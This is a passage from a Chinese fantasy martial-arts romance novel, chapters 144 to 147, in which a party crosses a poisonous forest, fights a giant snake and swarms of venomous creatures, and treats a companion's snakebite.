幽冥山山脉绵延不绝,山峰高入云端,远远看去,甚至可以看到山峰之上的厚厚积雪。幽冥山虽然地处湿热之地,但峰顶之上常年被积雪所覆盖。从山脚至山顶之上,生长了许多稀世珍药。就连那密林之中,就有多种别处难寻的药材。 多年来,来幽冥山寻药的人多不胜数,可是几乎所有人都是乘兴而来,败兴而返。因为,幽冥山四周都是密林,山林之中不仅弥漫着瘴气而且有许多剧毒之物,令人望而却步。 在幽冥山的北面的密林之中有一条通往山中的小径,穿过小径,便可以顺着一条陡峭的山路进山。只是,大多数人根本就难以通过这条小径,跟别说登上幽冥山了,这百年之间,也仅仅只有鬼谷子一人登山了幽冥山,并发现了七味草和雪上冰莲等几种旷世罕见的名药。 鬼谷子,在前夏朝之时素有鬼医之称,成名以后便长居幽冥山下,在此采草炼药,那条通往山麓的小径就是由他开辟的。 上次惊魂来此,千辛万苦通过了那条小径,根本无法攀至峰顶,好在山麓也有雪上冰莲,只不过生长在山麓处的雪上冰莲的功效远比不上幽冥山顶、冰雪之上的雪上冰莲。 密林中草木横生,车马难行,一行人皆下车步行。 还未入林,便看到浅淡的白雾弥漫在山林之间,这是深山密林、潮湿地带特有的现象。而那些白雾则是有着剧毒的瘴气。 瘴气由林中各种动物和草木的尸体腐烂而产生的毒气,因为林中树木遮天蔽日而得不到扩散,反而在这林中越积越多。平常人在瘴气弥漫的山林中根本无法久待,不消一个时辰便会**而亡,不过月清绝早就为众人准备了药丸,防止大家瘴气**。 自从下了马车,月无双就开始兴奋起来,时不时的被身侧的花草吸引视线,偶尔发现了几只爬虫,更是激动地拉着月清绝不放,非要捉几只带回去研究。 “无双,你别那么兴奋,这里处处是危险,万一你惹了什么麻烦,可没人能够救得了你。” “哥,这里不光有好多药草是咱们谷里没有的,就连那蜘蛛,蜥蜴也和我们谷里不一样,若是能够带回去,一定可以研制出新的**毒粉。”月无双眼中闪着亮晶晶的光芒。 月清绝一阵阵皱眉,“哎呦喂,我的小祖宗,这里可不是我们枫月谷,你万一不小心**,爹娘不在,我可救不了你。” 月无双撇了撇嘴,倒是稍稍收敛了一些,安静的跟在月清绝身后。 北宫喆紧紧的握着安文夕的双手,生怕有什么意外发生,江向晚紧随其后,和惊魂并排而走。 越到深处,密林越加幽深,湿潮之气迎面而来,瘴气也就越来越重,有了月清绝的药丸,大家并没有出现**现象。 穿过这条幽静,众人抵达了山麓,目之所及的是陡峭高耸的山峰,原本的那条进山的山路已经被人可以毁掉,像是用**将这块整个炸开,如今这陡直的高度,众人根本无法攀爬。 看来,有人存心不想让他们来寻药呢,安文夕别有深意的看了眼不远处被毁的山路,脑海里飞快的闪 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幽冥山东面的密林素来有百里鬼林之称,里面毒物繁不胜数,五彩斑斓的剧毒草木更是让人防不胜防,北宫喆一路将安文夕护在身侧,眸光幽深,眼底透着警惕,月清绝更是打起十二分的精神应对着周遭的事物,就连一向咋咋呼呼的月无双都安静了下来,紧跟着月清绝的脚步。 不远处,一条齐腰粗的花斑巨**攀在树杈上,警惕的盯着下面的众人,幽幽的涂着鲜红的信子,弓起的身子像是随时会发动攻击一般。 “蛇!**蛇!”江向晚小声惊呼道,雪嫣没有跟进来,她不自觉地握紧了身侧惊魂的衣角。 北宫喆抬眸看去,那条花斑巨**此时张开了大嘴,露出拇指粗的獠牙来,身子弓得厉害,仿佛下一瞬就要探身下来。 安文夕的手不动声色的放在了腰间,摸向了七节鞭,只要它下来,她立即就会抽出七节鞭与它缠斗。 北宫喆手腕一翻,紧接着响起一声撞击声,缠绕着树杈上的巨**顿时砸落在地,发生一声巨大的闷响。 众人甚至还未来得及看清北宫喆如何出手,只见一块石子砸到巨**七寸之处,卸去了它的全部力气。 “清绝,下面的交给你了。” 月清绝随手对着那颗巨大的蛇头撒了一撮粉末,那条翻滚着的巨**顿时变的僵硬起来。 “这些足够它睡上一天一夜了。” 月无双打量了眼僵在地上花斑巨**摇摇头道:“这条**蛇看着就很凶,一点都没有我的小乖可爱。” 袭匀耸了耸肩,在他眼中,她的小乖和地上的巨**没什么区别,既长得丑,块头又大。 他们还没有越过这条巨**,一直跟在安文夕身后的欢凉身形顿时一矮,袭匀来没有来得及拉住她,他自己也陷了进去。 不好,是沼泽! 安文夕意识到这一点的时候已经晚了,她的双腿开始下沉,她身侧的北宫喆一样没有幸免。 这块沼泽比较奇怪,刚走上来之时,与平常土地无异,待众人在上面停留片刻之后,脚下的土地便开始吸附着人腿快速的下沉。 第144章 你**了 第一百四十四章你**了 越挣扎就陷得越深,月无双处在这块沼泽的边缘地带,想要借助一旁宽大的树根爬上去,可是她越是用力,就下沉的厉害。眨眼的功夫,月无双已经下沉至腰际。 “啊!”江向晚暗呼一声,求生的本能让她伸手去抓住她身前的北宫喆。 北宫喆心中倏地一紧,扭头看向身边的安文夕,只见她眸光微敛,手中的七节鞭精准的抛了出去,缠绕在了一旁的树枝上,卯足了劲儿往下一拉,然后借助弹力一下子从沼泽泥潭里拔地而起,身上粘上的淤泥硕硕落了一地。 她眼底透着坚韧,紧抿的嘴角彰显着倔强,周身散发出凌然之气令人移不开眼睛。 北宫喆欲伸出去拉她的顿时僵在了半空,他的嘴角微扯,她向来不需要他来保护不是么? 安文夕身形跃至树枝之上,俯视着泥潭中的众人,她利索的收了鞭身,卷起鞭尾,刚想抛向那人,只见他抓起身后的江向晚,一掌拍向地面,立即砸出了一片深坑,他带着江向晚一起跃出了泥潭,侧身一旋,身上的淤泥眨眼之间全部脱落,月白的长袍立即变得纤尘不染,衣摆袂袂,在空中飘出了几分神尊之韵。 安文夕黑瞳微颤,握着七节鞭的手紧了紧,将鞭尾抛给了欢凉。 “抓紧!” 欢凉不敢再动,握紧了鞭尾,身子前倾,借助巧劲儿从沼泽里爬了出来。 “小师妹,你偏心啊,不知道先救师兄。”袭看了眼被淤泥染脏的白袍,略略皱眉。 “喆哥哥,夕姐姐,你们谁来救救无双,这淤泥好臭。”月无双下沉的最厉害,此时淤泥已经漫到了她的胸口,她顿时呆在沼泽泥潭里一动不动。 北宫喆扫了眼月无双,抬眸看向攀在树枝上的安文夕,眸光微敛,对她道:“我来吧。”说着伸出了手,示意她将手中的鞭子递给她。 安文夕淡淡扫了眼他,目光直接越他而去,看向他身后江向晚攥着的衣角,杏眸微眯,眼中黑白分明,直接将鞭尾扔给了月无双。 月无双接到鞭尾,鞭身立即绷成了一条直线,安文夕一手握着树干,一手拉着七节鞭,可是她越用力,无双反而更快地下沉,片刻已经将身子全部沉了下去,只剩下了一个脑袋。 “夕姐姐,无双要沉下去了。”她吓得立即松开了鞭尾。 北宫喆身形一跃,将树枝上的安文夕拦腰抱了下来,攥着他衣角的江向晚蓦地一个趔趄。 “还要逞能么?”北宫喆将安文夕手中的七节鞭一手夺下,鞭尾横抛,卷起月无双,手中的七节鞭显出万钧之势,如拔萝卜一般,径直将月无双从泥潭中拔了出来。 “喂喂喂,说好了要救师兄的,怎么救起来了这个刁丫头?”袭匀不满道。 他说话之间,身子突然下沉,他脸色突变,立即噤了声。 月无双刚刚脱离了沼泽,看着一身湿臭的淤泥,黛眉轻挽,待看到袭匀一脸狼狈,不禁失笑出声,惹得袭匀拿刀子眼瞪她。 就在这时,刚才已经僵硬的花斑巨**突然动了动蛇尾,硕大的头颅悄悄地朝北宫喆逼近。 北宫喆耳朵微动,双手微张,还未来得及出掌,身后一道紫色的身影如利剑一般,飞快的扑向他的身后。 “喆,小心——”江向晚抱着北宫喆的腰间,闭上了眼睛,巨**巨大的蛇尾重重的砸在了江向晚身上,凌冽的力道直接将二人扫到了一旁。 北宫喆迅速稳重了身形,江向晚被蛇尾震得肺腑生疼,嘴中涌出了大口的鲜血,身子如断了线的纸鸢一般无力地往后倒去。 “晚儿。”北宫喆眉头微蹙,一把接住了倒下的江向晚,将她拦腰抱起。 “喆,你没事吧?” “我没事。” “你没事就好,你永远比我重要……”江向晚黛眉拧在了一起,像是在忍受着极大地痛苦一般,紧紧的攥着北宫喆胸前的衣服。 “别说话。”北宫喆抱紧了江向晚,警惕的打量着身侧的巨**。 刚才那条巨**已经彻底恢复了行动,可能刚才从树杈上摔落,蛇身被摔疼,此时正疯狂的摆动着身子,凌冽的蛇尾将北宫喆和江向晚卷了起来,双目如炬,眼中尽是血色,宛如两个巨大的血窟窿一般。 瞥了眼北宫喆紧抱着的江向晚,安文夕睫毛轻颤,她来不及多想,飞快的抓起一旁的藤条纵身一跃,狠狠的砸到蛇身之上,巨**吃痛,粗壮的蛇尾不断的卷缩起来,巨大的脑袋缓缓移向安文夕,顿时引去了它对北宫喆的注意力,北宫喆抱起江向晚来到安全地带,此时,惊魂和青玄已经奋力出了泥潭。 “看着她。”北宫喆吩咐道,然后扫了眼那道穿梭在巨**蛇身之间的红色身影,眸光敛尽。 “喆……”江向晚立即抓住了北宫喆的衣袖,嘴里再次涌出殷红的鲜血。 北宫喆脚步一滞,回头看江向晚,略略沉眸,身形一闪,只余下了一片月白的衣摆飘过。 江向晚的手臂无力地垂下,双眸划过一抹黯光,看向安文夕的眼神多了分凌厉。 这条花斑巨**蛇身巨大,但却行动灵活,蛇身盘成一团,硕大的蛇头探至安文夕身前,灯笼般的眼中露出凶光,张开血盆大口,散发出一阵恶臭,长长的獠牙狰狞触目,欲将安文夕整个吞进腹中。 安文夕衣袂一摆,灵巧的绕着巨**身后,手中的藤条再次砸到巨**身上,出手既快又狠。 巨**蛇身倏地一颤,被藤条砸到的地方渗出了一层血珠,它烦躁不堪的挥动起蛇尾来,一圈一圈的欲将安文夕缠住,蛇头翻动,巨大的嘴中喷出一团褐色的烟雾来,红的发黑的信子喷薄而出。 安文夕眸光一凛,这是什么怪物,居然还能喷出毒气! 蛇头蛇尾一起发动攻击,让安文夕避无可避,看着即将甩到她脸上的蛇尾,立即屏住气息,侧身一避。这时,一道月白的身影直奔而来,带着凌冽之势,伸手揽住她的腰肢,比她更快地掠身避过。 北宫喆带着安文夕避过翻动的蛇尾,手中的长剑利索的将其斩断,四周顿时溅出了一片令人作呕 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安文夕握着七节鞭翩然落至巨**身后,给北宫喆递了个眼神,北宫喆明了,右手翻动,手中的几枚钢钉分别射向巨**双目和蛇身各处。 “吼——”巨**痛苦的翻动着身子,却凭着感觉靠近了安文夕,顿时弓起了蛇身对安文夕疯狂的发动攻击。安文夕灵活的躲避着它的攻击,挥起七节鞭毫不手软,重重的砸在蛇身之上。 这时,刚才断掉的蛇尾从草丛中飞快的扑向安文夕。 北宫喆眸光一凛,立即闪身到安文夕身后,抬脚踢飞那截断尾。安文夕握紧手中的七节鞭死死缠住巨大的蛇头,不容它挣脱。 北宫喆右手发力,手中的长剑直直插在了巨**的脑袋上,顿时一阵血浆咋泵。 巨**剧烈的抽搐起来,血流一地,浓郁的血腥中夹杂着腐臭的味道,令人胃中一阵翻滚。 过了许久,这条巨**才停下了抽搐,彻底僵硬了。 北宫喆嘴角的紫色更加深了几分,就连眼底都有了些许的红血丝,安文夕抿了抿嘴角,都说了让他不要用内力,他却偏偏不听。若是因为救她的缘故而加剧了毒气在他体内的蔓延,她宁愿受那蛇尾一击。 除了月清绝兄妹和紧紧被北宫喆护在怀中的安文夕,其他等人皆出现了不同程度的**症状。月清绝来着幽冥山之前带了不少解毒的药物,而这花斑巨**并不罕见,它所喷出的毒气,先前月无痕就研制出了解药,月清绝此行正好带了解药。他立即从身上带的瓶瓶罐罐中翻出解药,然后扔给无双道:“将解药分给众人。” “哥,你这解药靠谱么?”月无双蹙眉,她可没忘先前月清绝对**蛇用药失败,才导致众人被困在此处。 月清绝急道:“你就是不相信我,也该相信爹啊。” 月无双闻言,立即给众人发药,“喆哥哥,看样子你中的毒已经渗入血脉了!” 第145章 郎情妾意 第一百四十五章郎情妾意 北宫喆接过月无双递来的药,服用之后,抬眸看向安文夕道:“你没事吧。” 安文夕摇了摇头,身侧的人疾步越她而去,她的视线随着他的步伐移动着,待他停到那抹紫色的身影时,她的眸光颤了颤,飞快的移开视线。 他的急切她看在眼里,果然是十五年的情谊,她比不了。脑海里再次想起那晚他们亲密相拥,心中一涩。 她转身对着沼泽泥潭中的袭匀道:“你这是不打算出来了?” “小师妹,你们都不来救师兄,师兄怎么出得去。” “你若是不想出来就在里面呆着吧!”欢凉丝毫没有帮他的意思。 而另一旁的月清绝默默的挣扎着,时不时看一眼神色悠然的袭匀,随着他的努力,他的身子慢慢下沉,眼看淤泥就要漫过脖子之时,他终于忍不住吼道:“你们好歹来个人,本公子还在里边呢!” 月无双这时才猛然发现月清绝的窘状,说道:“哥,我以为你怎么样也会自己上来的,谁知道……” “废话,我要是能上来,早就上来了,还用等到现在么?”月清绝气呼呼的拍了拍淤泥,结果他的身子陡然下沉,吓得他再也不敢再动。 “我以为你在酝酿着向喆哥哥那样怎么潇洒的出来。”月无双说到最后,声音小了下去。 月清绝无语的翻了个白眼,她以为人人都是北宫喆啊。 “哥,我自己也救不出你来。”月无双说着看向立在袭匀身侧的欢凉。 下一瞬,原本待在沼泽泥潭中的袭匀,拉着七节鞭的鞭尾,蓦地从淤泥中一跃而起,带起的淤泥溅了月清绝一脸,月清绝脸色顿时黑成了锅底。 “**袭,你给我等着。”他磨了磨牙。 看着月无双要去找欢凉来救他,月清绝瞥了眼立在不远处抱剑的青玄大声道:“青玄,本公子这就要**,你难道不应该救一下么?”他是个男人,有骨气的男人,而不是袭匀那个软骨头,决不能让喜欢的女人来救,否则,也太没面子了! 青玄闻言走来,“月公子对不住,青玄的职责是保护皇上,没有注意到月公子。” “罢了罢了,赶紧救我出去。” 月清绝千辛万苦的上了岸,瞥见了正打算为江向晚疗伤的北宫喆,连身上的淤泥都来不及清理,立即奔过去道:“你要是想死就尽管给她输真气吧!” 安文夕刚刚将七节鞭清理干净,听到了月清绝的声音猛然抬眸,看着盘坐在江向晚身后的北宫喆,将七节鞭收在腰间,还是走了过去。 看着脸色惨白、气若游丝般的江向晚,安文夕抿了抿嘴角道:“北宫喆,你决定了?” 北宫喆看着安文夕缓缓点头,然后道:“朕不会有事的。” “你**才好!”安文夕咬牙,他眼中的坚定刺痛了她的双目,她努力压下心中的烦闷。 江向晚为救他而受伤,他给她输真气没什么不对,这样一幅郎情妾意的场面,和她半点关系都没有! 她此行是只是为了寻药罢了,她和北宫喆之间隔着杀父之仇,是永远也不可能在一起的,她深呼吸一口,将心中的烦躁全部驱除。 不再去看北宫喆和江向晚,直接转过身去,运气将身上沾满淤泥的湿衣烘干。 江向晚闻言睁开了半眯着的双眼,眸光扫了眼不远处的安文夕,握住北宫喆的手道:“喆,我是不是要**。” 她的眼中透着悲切,握着北宫喆的手尽是不舍。 刚才她已经陷入了昏迷,惊魂一直为她输内力,她这才勉强睁开眼睛,此时,惊魂内力消耗过度,脸色苍白,正在一旁调理内息。 “你救了朕,朕不会让你死。”北宫喆不着痕迹的松开了江向晚的手,他给不了她想要的,他不想再欠她什么。眼角的余光看向一旁的那抹红衣,眸光微黯。 “当时,凭喆哥哥的身手完全可以应付的了,是她跟着捣乱,如今还得连累喆哥哥去……” “无双!”月清绝立即打断了月无双的话。 月无双哼了一声,有些不情愿的扭过身去,江向晚这个坏女人分明就是故意去救喆哥哥,想要用苦肉计来绑住喆哥哥! 月清绝从袖中翻出一粒药丸递给江向晚道,然后对北宫喆道:“你别逞能了,让青玄给她疗伤吧。” “皇上,让属下来吧。”青玄抱拳请求道。 “不必,朕不做没把握的事,你为朕**。”北宫喆早就将体内的毒气转移到了左臂上,暂时将毒气封住。 北宫喆抬手缓缓为江向晚输入真气,不过一刻钟,北宫喆突然发现身体的内力飞速流逝,仿佛被一股强大的力量不断地吸走。 他蓦收了掌,江向晚登时喷出了一口鲜血,身子不受控制的朝身后倒去,再次晕了过去。 “怎么了?”月清绝立即问道。 北宫喆若有所思的看着倒在他怀中的江向晚一眼,将她从地上搀起。 “你给她把把脉。” 月清绝探上江向晚的脉搏,眉头深蹙,“她体内好像有两股力量相冲,脉象乱得惊人,体内器官受了重创。”月清绝指尖颤了颤,他竟然感觉不到引魂丹的存在,难道是引魂丹的精华已经被她消耗殆尽? “刚才那药能吊住她的命,当务之急就是要找到雪上冰莲。” 北宫喆闻言,将江向晚背了起来,沉声道:“走吧。” 安文夕身上的衣服已经被她烘干,随着她的起身,衣服上的泥尘落了一地,她身上的红衣猎猎,如一抹盛开在丛林中的彼岸花,夺目、妖艳。 安文夕淡淡扫了眼身后的欢凉和袭匀道:“我们也出发吧。” 月无双瞥了眼北宫喆背上的江向晚,立即跑到了安文夕身边道:“夕姐姐,带我一个吧。” 安文夕略略点头,“你小心些,不要轻举妄动。” “无双肯定会老实的跟着夕姐姐,绝不会惹事。” 一行人再次出发,安文夕走在前面,她现在只想快点找到入山的地方,早点离开这个鬼地方。 欢凉有意无意的看向北宫喆,再将视线放在安文夕急切地步子上,心中涌出一阵心疼。就算她伪装的再好,也骗不了她 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北宫喆触碰到了她手心中的细汗,不由得握紧了她的手,他就知道她在害怕,偏偏还倔着性子在前面带路。 安文夕不得不承认,被他握着的手十分温暖,有他在身边,分外安心,她也没有矫情的挣脱他的手,任由他牵着。 “扑扑——” 一群黑压压的东西迎着安文夕的面门横冲直闯而来,空气中顿时弥漫了一股腐朽的气息,她还没有来得及躲避,一条有力的臂膀直接搂着她的腰肢飞速避过,速度快如一道闪电。 “哥,我怕。”月无双堪堪避过,眼眶有些发红,死死地拽住月清绝的衣袖。 “没事没事,有哥在呢,不怕不怕。”月清绝忙安慰道。 好在接下来一段路程都没有了蝙蝠的骚扰,月无双的胆子逐渐大了起来,开始和欢凉有说有笑。 越接近幽冥山脉,密林中的奇珍异草越多,月清绝虽然想要将它们带回去研究,但是他更珍惜自己的性命,所以一路走来,路过许多药草而不能采摘,不免几多叹息。 而月无双就没有这么多的顾虑了,她虽然不敢再风风火火咋咋呼呼,但是一看到在枫月谷古书里记载的草药时,不免两眼发亮。 “哥,这是枯骨草!”她走了一路,竟然在这里发现了千年难见的枯骨草,要知道,仅是一叶枯骨草就是万金也难寻,而这里竟然有这么大一株,她怎么不兴奋? 月无双伸手就将枯骨草连根拔起。 “不要!”月清绝立即阻止道。 可惜,已经晚了,月无双轻松地将一大株连根拔起,谁知,那株枯骨草刚离了土顿时枯萎,化作一滩烂泥。 月无双不可置信的盯着手上的枯叶烂泥,而四周,原本繁茂青翠的花草以肉眼可见的速度枯萎,须臾之间,整个山林百里之内,花草全部枯荣。 “这……”月无双急急后退两步,忙将手上的枯叶扔掉。 “糟了!”月清绝暗呼一声。 第146章 不需要你 第一百四十六章不需要你 “唔~这是什么味道,好臭……”月无双不禁捂住了鼻子。 枯骨草,有驻颜之效,可保女子容颜长久不衰,亦可保持死者尸身经年不腐,故而珍贵非常。 但是这枯骨草习性古怪,离土即死,一般不易采得。枯骨草一旦离土枯萎便会发出一阵**的气味。 月清绝恨铁不成钢的看着月无双,真是个惹事精啊! 月无双小心的瞥了眼月清绝道:“哥,无双只是太兴奋了,不是故意的,古书上又没有记载这枯骨草不能用手拔下来。” 月清绝无奈的摇了摇头,枫月谷的古书里的确没有记载枯骨草的采摘方法,他不过是幼时听他爹提到过枯骨草不能离土罢了。 北宫喆嗅着空气中的腐朽的气息,看着周围枯死的花草,眸光深邃。 半晌,他从喉咙里发出一个音节,“走!” 安文夕抬眸看他脸色凝重,不禁问道:“这味道难道会招来异物?” 她的话音刚落,周围的枯叶之中便发出了沙沙的声音,这里几乎都是练武之人,听力比常人敏感,此时都不自觉的四下看去。 可是,除了耳边的沙沙声,他们看不到任何东西,众人不禁止住了脚步,警惕的打量着四周。 “啊!”欢凉惨叫一声,身子急忙朝后面褪去。 只见一条极细的银纹蛇飞快的窜到了欢凉的小腿之上,饶是欢凉怎么甩都甩不掉,那蛇仿佛要钻到欢凉的皮肉里边一般,蛇身缠住她的小腿,转瞬之间,蛇头已经钻进去了一寸。 袭匀眼疾手快,立即将攀附在欢凉腿上的银纹细蛇拽了下来,手中滑腻腻的感觉令他头皮发麻,浑身起了鸡皮疙瘩,他立即将手中的蛇扔了出去。 这时,众人才发现,那蛇分明就是两头蛇! 此时,那条银纹细蛇的两个蛇头同时吐着鲜红的信子,再次朝人群中爬来。 “这蛇有毒!”月清绝看着欢凉腿上流出的黑色眸光一黯,迅速的捉住了欢凉的小腿,一把褪去她的鞋袜,将她的小腿抬起。 “你干什么?”欢凉脸色丨微红,一阵惊呼道。 “你**了,必须立即将毒血吸出来。”月清绝说完就贴上了欢凉的伤口。 众人还没有回过神来,周遭的沙沙声响更甚,一条条银纹细蛇贴着地面以讯雷不及掩耳的速度朝众人逼近。 看着不远处的蛇群,安文夕下意识的握紧了北宫喆的手,北宫喆将安文夕揽至身后,握紧了手中的长剑。 放眼望去,在这些蛇纹细蛇的后面又跟来了许多色彩艳丽的毒蜘蛛,都是些阴毒之物,偏爱尸臭**的味道,喜食尸体,这些东西必是被这里腐朽的味道引来的! 银纹细蛇越来越近,安文夕还没有来得及抽出腰间的七节鞭,身侧的男人手中的长剑掠过,她脚下的两头银纹蛇便断成了两半,两截被斩断的蛇身在地上痛苦的翻腾着,谁知过了一瞬,原本被斩断的蛇身各自吐着信子,再次朝她发动了攻击。 一条竟然变成了两条! 惊魂和青玄也发现了这个情况,顿时收紧了手中的长剑,不敢再贸然出手。 密密麻麻的两头银纹蛇如潮水一般肆意前进,北宫喆眉头微蹙,抬手将涌进脚边的蛇群一掌掀翻,然后将身侧的女子紧紧护在身后,在她耳边轻道:“怕么?” 怕么? 安文夕勾唇,“怕,有用么?”她上前一步,抽出了七节鞭,鞭尾横扫,卷起地上的蛇群,一股脑的甩了出去。 北宫喆的视线停留在她的脸上,她杏眸微眯,轻咬着下唇,即便是害怕,她也是一副沉稳如水的姿态,那股坚韧,仿佛是从骨子里透出来一般,一如初见之时,她困在七杀阵里,明明是那样的狼狈,而她澄澈的杏眸里却透着从容不迫与坦然,令他一见失心,从此再也移不开眼睛。 安文夕察觉到了他的目光,回头道:“你不要再动用内力了。” 北宫喆再次出掌,“朕还没有那么没用。” “想死我也不拦你。”安文夕恨恨道,虽然嘴上这么说,但是她却挡在北宫喆前面,帮他清理脚下的银纹细蛇。 真是个口是心非的女人,北宫喆嘴角噙起了笑意。 月无双自知闯了大祸,虽然心里怕得要死,但是却死死的咬着下唇,脸上丝毫不敢表露出来,她颤着双手,从腰间的竹笼里取出大黄来。 大黄是一条将近三尺的黄色蝮蛇,毒性极强,是月无双最喜欢的宠物之一,更是寸步不离的带在身上。 “无双,你做什么?”月清绝刚刚给欢凉清除了蛇毒,此时正给她包扎伤口。 “哥,这祸是我闯的,理应由我负责。”月无双眼中一片坚定,将手中的大黄缓缓放下。 大黄的毒性月清绝也是了解的,他没有阻止月无双,心中隐隐希望,大黄可以将解决掉一部分银纹细蛇。 大黄刚刚落地,看见周围的银纹蛇群,立即变得兴奋起来,幽幽的吐着信子,迅速的朝蛇群逼近。 说时迟那时快,原本吐着信子的大黄猛地发动了攻击,所经之处,蛇群皆被咬死。 月无双脸上浮现喜色,拉着月清绝道:“哥,我的大黄是最棒的。” “可是,仅凭大黄也不能全部杀死这些银纹细蛇。”月清绝蹙眉。 而这些银纹细蛇根本不能斩断,只能击碎蛇头,将其杀死。 好景不长,银纹细蛇后面的毒蜘蛛渐渐逼近,大黄根本就咬不动坚硬的蜘蛛胸甲,反而被长着倒钩的蜘蛛利爪刺穿了蛇身,须臾之间,大黄身上便挂满了殷红的鲜血。 “不好……”月无双的心顿时一沉。 不消片刻的功夫,大黄中了蜘蛛分泌的毒液之后便不再动弹,迅速被一群毒蜘蛛分食。 “大黄……” 月清绝立即一把抓住了往前奔去的月无双,将她拽到身后,“你不知道有多危险么?” 这种色彩斑斓的毒蜘蛛他见所未见,一旦**,他们就只能坐以待毙。 “可是,我的大黄……”月无双眼底湿润,不过眨眼之间,大黄已经被啃食干净。 “无双,保命要紧。”安文夕侧头对她沉声道。 她的脚边,银纹细 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“抓紧。” 他巨大的力道使得安文夕一个趔趄,她立即抓住了树枝,背上背着的七弦琴撞到了树杈上,硌得她的后背一阵生疼。 安文夕顿时眼睛一亮,当时在枫月谷她就利用琴声驱赶了月无双的小乖,那现在是不是也可以呢? 看着下面越来越多的毒蜘蛛如洪水一般漫了上来,安文夕咬了咬牙,深吸了一口气,将七弦琴从后背上取下,如今也只能试一试了!否则,他们只能在这里等死。 有些毒蜘蛛和银纹细蛇竟然顺着树干慢慢爬了上来,安文夕心中一紧,抬手射出了几枚银针,将它们打落。 素手划过琴弦,发出一阵峥嵘之音。 下面的人闻声一震,皆举眸看去,安文夕指尖一颤,再次拨起琴弦,琴声时而晦涩难听,时而温婉细腻。琴音从缓到急,再由急到缓,完全没有半点规律可循。 “夕姐姐这是在做什么呢?” “驱毒!”袭匀吐出了两个字,他相信他的小师妹一定不会让他失望的,就像那次在枫月谷那样用琴声救了他! 就在这时,不可思议的一幕发生了,刚才兴奋不已的银纹细蛇和毒蜘蛛慢慢平静下来,就连攻击的速度都慢了下来。 安文夕看出了下面毒物的变化,更加专心起来,琴声逐渐变得高亢,下面的人听着这古怪的琴音心底一阵阵发慌。 北宫喆带着江向晚掠上树枝,众人也渐渐反应过来,都一一攀到大树之上。 不少毒物嗅着众人的气息,慢慢往树干上爬去,众人一一将其击落,丝毫不敢大意。 半个时辰之后,下面的银纹细蛇和毒蜘蛛竟然开始自相残杀,一股带着腐朽的血腥扑鼻而来。 安文夕双手酸麻不堪,紧闭着双目,额头上沁出了一层细汗。 柔软的方帕轻轻为她拭去了额上的汗珠,她蓦地睁开了眼睛,看到了那张俊逸的面孔,手中的动作一顿。 第147章 抱着你睡 第一百四十七章抱着你睡 只这一会的功夫,下面互相残杀的毒蜘蛛和银纹细蛇已经停止了攻击,安文夕心中一滞,再次拨起了琴弦,结果手下的曲子还未成调,她的双手就被人握住。 “我来,你休息一下。” “你可以么?”安文夕一愣,这曲子压根就杂乱无章,他怎么会? 北宫喆抿着薄唇,没有说话,直接将七弦琴从她腿上取了过来,纤长的十指,骨节分明,若是忽略那常年练武持剑的薄茧,这双手比女人的手还要细腻好看。 “待在朕身后。” 北宫喆微微闭上了眼睛,仿佛是让自己融进琴声一般。 待他刚开始弹拨琴弦,安文夕就彻底震惊了,他指尖流泻的琴音与她刚才弹得那杂乱无章的曲子分毫不差,他只听了一遍而已,竟然连每一个音都记了下来。他的琴音透着内力,更加激昂摄魂,令人从心底发颤。 四周的血腥一重漫过一重,大树底下早就堆尸成山,浓郁的血腥中加剧了腐朽的味道,令人忍不住一阵作呕。 北宫喆指尖的琴音越来越亢奋,越来越急切,带着强烈的冲击向四周扩散,安文夕紧紧的抱住了身侧的树干。 “铮——”一声的急音划过,七根琴弦应声而断,下面正在厮杀的银纹细蛇和毒蜘蛛齐齐血浆崩溅,残肢断体翻飞一片。 这的是多大的震慑力,才能震碎那些毒物?如今他的内力应经达到了高深难测的地步了么,那她以前对他的刺杀岂不是不自量力,而他总是不躲不避,生生的挨了她那么多次的刺伤,安文夕想到这里,心中一涩。 北宫喆没有注意到她的情绪变化,缓缓睁开了眼睛,看了眼下面的残骸,眸光一敛,揽起安文夕的柳腰,沉声道:“赶紧走!” 安文夕立即明白了他的意思,若是不赶紧撤离这里的话,只怕下面的血腥会引来更多的阴毒之物,到时候他们再想离开,就难了! 北宫喆带着安文夕在空中飞跃,安文夕慢慢从他怀中挣脱,反手握住他的手道:“我也可以。”虽然她的轻功不怎么样,但到底比他带着她强多了。 北宫喆也没有拒绝,握紧了她的手,足尖轻点,借力一跃而起。 月白的衣袍带着山风而飘,周身仿佛镀上了一层柔和的光晕,仙姿袂袂,而他身侧的女子,红衣翩跹,如蝶翅轻展,美的让人移不开眼睛。 江向晚恨恨的看着前面的北宫喆和安文夕,不甘心的趴在惊魂肩头,为什么总是将她丢给惊魂,她可即将是他的妻啊! 临近日暮,山林中天色已经暗了下来,可是仍然望不到山林尽头,按着他们的脚程,若是中间没有那么多的意外,也得需要六个时辰。如今,他们已经足足走了一天,却依然没有走出密林。 将近一天没有进食,众人一路奔波,此时都有些疲倦。但是北宫喆没有停下来,众人只能跟在后面赶路。 欢凉此时额头上沁出了一层密汗,脸色煞白,唇瓣泛着黑紫,显然是蛇毒扩散。 袭匀首先发觉了她的异常,急切道:“臭丫头,欢凉,欢凉?” 回答他的除了寂静还是寂静,他身前的月清绝蓦然回头,看着刚才众人都警惕的观察着四周未知的危险,根本没有注意到欢凉的异常。 “糟了,刚才那蛇毒没有清除干净。”月清绝眉头紧蹙,立即将欢凉从袭匀背上扶了下来。 安文夕闻言立即转过身来,看着欢凉苍白的脸色,心蓦地一沉,“欢凉!” 月清绝立即为她把了脉,然后取下药箱,从里面拿出一排银针。 “需要多少时间?”北宫喆沉声道。 “至多半个时辰。”月清绝明白他的意思,今晚他们要连夜赶出走出这百里鬼林,不然,他们待在这里凶多吉少。 北宫喆微微点头,示意他继续。 月清绝下针又快又准,不出片刻,欢凉周身大丨穴已经布满了明晃晃的银针。 安文夕紧紧攥着欢凉的手,用手丝帕不停地给她擦着额头上的细汗,静静地看着月清绝施针。 一旁的袭匀可等不了,脸上尽是担忧,“月清绝,欢凉她怎样了……” 安文夕一拉拉住了袭匀,做了个闭口的手势,他的急切只会影响月清绝施针。 一会功夫,银针下面一端已经全部变黑,月清绝的眉头顿时拧成了一团,没想到这毒竟然扩散的这么快,若是晚发现一会,他也回天乏力了! 他一一收了针,欢凉蓦地突出一大口黑血来,月清绝擦了擦额头上的汗,嘴角微勾,吐出来就好! “欢凉,你现在感觉怎么样?”安文夕看着欢凉睁开了眼睛,惊喜道。 “公主,我现在好多了。”她嘴唇上的紫黑已经淡淡消去。 “终于没事了,我都担心**。”袭匀松了口气。 北宫喆看着安文夕嘴角的笑意,他也不自觉勾起薄唇,“既然没事了,来吃点东西吧。” 